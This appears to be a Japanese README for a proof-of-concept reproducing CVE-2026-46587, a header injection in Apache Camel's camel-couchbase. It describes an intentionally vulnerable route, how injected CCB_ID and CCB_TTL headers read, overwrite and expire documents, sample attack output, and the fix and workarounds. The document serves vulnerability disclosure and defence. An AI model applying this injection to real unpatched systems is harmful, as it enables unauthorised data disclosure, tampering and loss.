
CVE-2026-46587 の再現コード: Apache Camel camel-couchbase の CCB_* ヘッダーインジェクションにより、ドキュメントの開示、改ざん、および TTL 強制によるデータ破壊が可能になる (4.14.8/4.18.3/4.21.0 で修正済み)
CCB_* ヘッダーインジェクション再現コード (CVE-2026-46587)このプロジェクトは、Apache Camel の camel-couchbase コンポーネントにおけるメッセージヘッダーインジェクションを実証するもので、
CVE-2026-46587 として追跡されています。このコンポーネントは、その動作を制御するために複数の Exchange ヘッダーを読み取ります — CCB_KEY
(ドキュメントキー)、CCB_ID(ドキュメントID)、CCB_TTL(ドキュメントの有効期限)、CCB_DDN(デザインドキュメント名)、CCB_VN(ビュー名)。
これらのヘッダー定数(CouchbaseConstants で定義)の文字列値は、他のすべてのコンポーネントが使用する Camel プレフィックス付きの名前
(例: CamelSqlQuery)ではなく、プレフィックスのない素の名前です。Camel のインバウンド HttpHeaderFilterStrategy は Camel / camel
で始まるヘッダー名のみをブロックするため、これらの名前はインバウンドフィルターをそのまま通過します。ルートが couchbase プロデューサーの前に
HTTP エントリポイント(例: platform-http)を公開している場合、信頼できない HTTP クライアントはこれらのヘッダーを直接設定し、ルート作成者が
設定したドキュメントID、TTL、デザインドキュメント名、またはビュー名を上書きできます。
この PoC は、1つの欠陥から生じる3つの異なる影響を実証します:
CCB_ID により、呼び出し元のスコープ外のドキュメントを読み取ります。CCB_ID により、保護されたドキュメントを上書きします。CCB_TTL=1 により、呼び出し元自身のドキュメントを静かに自己破壊させます。アドバイザリ: https://camel.apache.org/security/CVE-2026-46587.html
CVE-2025-27636、CVE-2026-40453、CVE-2026-46453、CVE-2026-47323 と同じヘッダーインジェクションの系統です。この修正は 姉妹アドバイザリである CVE-2026-46588(camel-couchdb)と PR を共有しています。
// CouchbaseConstants (affected 4.18.2) — the header names are bare, un-prefixed strings:
String HEADER_ID = "CCB_ID";
String HEADER_TTL = "CCB_TTL";
// CouchbaseProducer.process (affected 4.18.2) — the id and expiry come straight from those headers:
String id = headers.containsKey(HEADER_ID) ? exchange.getIn().getHeader(HEADER_ID, String.class) : endpoint.getId();
int ttl = headers.containsKey(HEADER_TTL) ? Integer.parseInt(exchange.getIn().getHeader(HEADER_TTL, String.class)) : DEFAULT_TTL;
// ... setDocument(collection, id, ttl, body, ...) / getDocument(collection, id, ...) / removeDocument(...)
修正(4.14.8 / 4.18.3 / 4.21.0)は、ヘッダーの値を Camel の慣例に合わせて変更します — CCB_ID → CamelCouchbaseId、
CCB_TTL → CamelCouchbaseTtl、CCB_KEY → CamelCouchbaseKey、CCB_DDN → CamelCouchbaseDesignDocumentName、
CCB_VN → CamelCouchbaseViewName — そのため、これらは他のすべての Camel 制御ヘッダーと同様にインバウンド
HttpHeaderFilterStrategy によってブロックされます。Java の定数フィールド名は変更されません。
from("platform-http:/save") // and /fetch
.removeHeaders("Camel*") // documented hardening — see below
.choice().when(header("CCB_ID").isNull())
.setHeader("CCB_ID", constant("user-draft")) // default to the caller's own document
.end()
.to("couchbase:couchbase://<host>:8091?bucket=mybucket&username=..&password=..&operation=CCB_PUT");
このルートは、ドキュメントIDのデフォルトを呼び出し元自身の下書きに設定し、ドキュメント化された堅牢化策として、エッジで Camel
制御ヘッダーの名前空間を除去します。しかし、それは役に立ちません: 上書き用ヘッダーは CCB_ID / CCB_TTL という名前であり、
CamelCouchbaseId / CamelCouchbaseTtl ではないため、removeHeaders("Camel*") でも組み込みの HTTP ヘッダーフィルターでも
除去されません — そしてプロデューサーはそれらをそのまま尊重します。
データベースには2つのドキュメントが投入されています: user-draft(呼び出し元自身のもの)と system-config(エンドポイントが決して
公開してはならない機密ドキュメント)です。
被害者 は Camel ルートとその Couchbase データベースです。攻撃者 はリクエストヘッダーを設定するだけの認証なし HTTP クライアントです。小さな SDK ハーネス が、脆弱なルートとは独立に、検証用のドキュメントを投入・読み取りします。
CVE-2026-46587/
├── pom.xml # camel-platform-http + camel-couchbase 4.18.2
├── Dockerfile
├── docker-compose.yml # couchbase 7.6 (community) + one-shot provisioner + the app
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── CouchbaseSettings.java # host / bucket / creds / document ids
│ ├── CouchbaseHarness.java # SDK harness: seeds + reads docs for verification
│ ├── VictimRoute.java # platform-http:/save and /fetch -> couchbase producer
│ └── ExploitController.java # attacker: HTTP requests with injected CCB_ID / CCB_TTL headers
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build # couchbase -> provisioner -> app (first start pulls ~1.7GB)
# wait for the app log line "Started Application", then:
curl -s http://localhost:8080/exploit/attack
docker compose down -v
compose ファイルは、単一ノードの Couchbase クラスター(KV のみ)を初期化し、
mybucketバケットとappuserを作成してから アプリを起動します。Couchbase は短いホスト名を拒否するため、ノードのホスト名にはドット付きのネットワークエイリアス (couchbase.cve.local)が使用されます。
initial DB state (read straight from Couchbase):
user-draft = empty-draft
system-config = PROTECTED-ORIGINAL-CONFIG
=== 1) Legitimate fetch (no CCB_ID) — the caller's own draft ===
empty-draft
=== 2) Injected fetch (CCB_ID=system-config) — reads a protected document ===
PROTECTED-ORIGINAL-CONFIG
read-override / disclosure: true
=== 3) Legitimate save (no CCB_ID) — writes only the caller's own draft ===
system-config = PROTECTED-ORIGINAL-CONFIG (unchanged)
=== 4) Injected save (CCB_ID=system-config) — overwrites a protected document ===
system-config = ATTACKER-OVERWRITE-PAYLOAD
write-override / tampering: true
=== 5) Injected save (CCB_TTL=1) — forces the caller's own document to self-destruct ===
user-draft immediately after save: important quarterly data the user just saved
user-draft ~2.5s later: <not found: DocumentNotFoundException>
ttl-injection / data loss: true
>>> Header-injection proof — an unauthenticated HTTP client controlled the Couchbase operation
>>> via CCB_* headers: read a protected doc (true), overwrote it (true), and destroyed data with a forced TTL (true).
HTTP コンシューマーから到達可能な couchbase プロデューサーを持つすべてのルート。注入可能なヘッダー: CCB_ID / CCB_KEY
(ドキュメントID/キー → 任意のドキュメントの読み取り、上書き、削除)、CCB_TTL(強制失効 → データ損失)、およびコンシューマー側では
CCB_DDN / CCB_VN(デザインドキュメント名とビュー名)。
4.14.8 / 4.18.3 / 4.21.0 にアップグレードしてください(アドバイザリ PR #23228)。修正後、上書き用ヘッダーには Camel
プレフィックス(CamelCouchbaseId、CamelCouchbaseTtl、…)が付与され、他のすべての制御ヘッダーと同様に HTTP 境界で
フィルタリングされます。
アップグレードするまでの間、影響を受けるヘッダーを、プロデューサーに到達する前に信頼できないインバウンドメッセージから除去してください。
例: couchbase エンドポイントの前で .removeHeader("CCB_KEY")、.removeHeader("CCB_ID")、.removeHeader("CCB_TTL")、
.removeHeader("CCB_DDN")、.removeHeader("CCB_VN") を実行するか、これらの名前をブロックするカスタム HeaderFilterStrategy
を適用します。
この再現コードは、公開済みかつ修正済みの脆弱性について、セキュリティ研究および許可されたテストのみを目的として提供されます。 明示的な許可なくシステムに対して使用しないでください。
| プロパティ | 値 |
|---|
| コンポーネント | camel-couchbase |
| 影響を受けるクラス | org.apache.camel.component.couchbase.CouchbaseProducer が CouchbaseConstants.HEADER_ID("CCB_ID")、HEADER_TTL("CCB_TTL")などを読み取る |
| CWE | CWE-20: 不適切な入力検証 |
| 影響 | HTTP クライアントが CCB_* ヘッダーを設定 → ドキュメントID / TTL / デザインドキュメント / ビューを上書き → 情報漏えい、改ざん、データ損失 |
| 前提条件 | ルートが HTTP コンシューマー(例: platform-http)の背後に couchbase プロデューサーを公開している; コンシューマーが未認証である場合は認証なし |
| 影響を受けるバージョン | 4.0.0 から 4.14.8 未満、4.15.0 から 4.18.3 未満、4.19.0 から 4.21.0 未満 |
| 修正バージョン | 4.14.8、4.18.3、4.21.0 |
| 修正 | PR apache/camel#23228(main)、#23230(4.18.x)/ #23231(4.14.x)経由でバックポート |
| クレジット | Yu Bao(PayPal) |